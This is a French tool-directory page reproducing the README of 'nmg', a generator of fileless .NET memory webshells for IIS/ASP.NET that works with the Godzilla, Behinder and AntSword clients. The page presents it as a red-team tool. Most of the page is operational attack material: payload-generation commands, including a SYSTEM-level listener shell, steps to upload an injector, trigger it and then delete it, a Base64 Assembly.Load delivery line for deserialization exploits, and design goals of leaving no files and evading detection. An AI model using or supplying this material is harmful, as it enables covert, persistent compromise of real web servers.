Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nmg — Génère des payloads .NET en mémoire paramétrés (VPP, route MVC, HttpListener) compatibles avec les clients Godzilla, Behinder et AntSword pour les tests de red team. | Kitploit
Outils/GitHubGitHub/baguette168/nmg
Outils DéfensifsGénération de PayloadsMécanismes de PersistanceExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionRed TeamingOutil d'Accès à DistanceGénération de ShellcodeDéveloppement de Charges Utiles
717il y a 13 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubbaguette168/nmg

nmg

Génère des payloads .NET en mémoire paramétrés (VPP, route MVC, HttpListener) compatibles avec les clients Godzilla, Behinder et AntSword pour les tests de red team.

Voir le dépôt
Partager

NMG - Générateur de memory-shell .NET

.NET Tests License Platform

Générateur paramétré de memory shell .NET | Red team / tests de sécurité | équivalent JMG pour .NET

Architecture

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

Qu'est-ce que NMG ?

NMG génère des payloads de memory shell .NET paramétrés qui s'injectent dans les applications IIS/ASP.NET sans laisser de fichiers sur le disque. Après l'injection, vous vous connectez avec des gestionnaires de webshell existants (Godzilla / Behinder / AntSword) - NMG ne fait que rendre le côté serveur fonctionnel.

Voyez-le comme : paramètres d'entrée -> payload compilé -> injection -> connexion avec le client

Fonctionnalités

Types de memory shell

TypeCible.NET FrameworkPoint de déclenchement
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (indépendant d'IIS)

Protocoles de shell

ProtocoleClientChiffrementVérifié
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ De bout en bout
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] octets bruts)✅ De bout en bout
antswordAntSwordBase64✅ De bout en bout

Formats de sortie

FormatCas d'utilisation
aspxTéléverser dans un répertoire accessible en écriture, accéder une fois pour injecter
b64Pour la livraison par RCE via désérialisation/injection d'expression
dllDLL brute pour des loaders personnalisés

Sous-commandes

CommandeObjectif
generateGénérer un payload de memory shell
probeGénérer un aspx de détection d'environnement (rapporte CLR/trust/MVC/VPP)
versionAfficher la version
helpAfficher l'utilisation

Interface web

Interface web intégrée avec le thème Inset Dark (minimalisme de style Linear) :

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Démarrage rapide

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Méthodes d'injection

Méthode 1 — injecteur ASPX :

  1. Téléversez le fichier .aspx généré dans n'importe quel répertoire accessible en écriture sur la cible
  2. Accédez-y une fois dans un navigateur (déclenche Assembly.Load + l'enregistrement VPP)
  3. Supprimez le fichier aspx
  4. Connectez-vous avec votre client webshell à n'importe quel .aspx/.ashx/.asmx existant sur le site

Méthode 2 — Base64 (livraison RCE) : Exécutez à n'importe quel point d'exécution de code :

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Téléversez le fichier probe.aspx généré et accédez-y une fois. Il renvoie un JSON avec :

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Utilisez ceci pour déterminer quel type de shell mémoire et quel protocole utiliser.

Principes de conception

  1. Sûr pour l'hôte : tous les chemins d'exécution sont enveloppés dans try-catch, toute exception laisse silencieusement passer la requête
  2. Idempotent : une injection répétée n'empile pas les enregistrements
  3. Aucun résidu de fichier : après l'injection, aucun nouveau fichier dans le répertoire web
  4. Déterministe : mêmes paramètres + même seed = sortie identique octet pour octet (NFR-5)
  5. Aucune compilation dynamique sur la cible : la charge utile est précompilée, ce qui évite la détection de ASP.xxx_aspx+ClassName
  6. Double enregistrement : VPP utilise d'abord l'API officielle, puis bascule sur le remplacement direct de champ pour le mode IIS Integrated

Compilation

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Structure du projet

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

Références

  • BeichenDream/GodzillaMemoryShellProject.NET
  • Série de memory shells ASP.NET de yzddmr6 — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Générateur de memory shells Java

Licence

MIT

Télécharger l’outil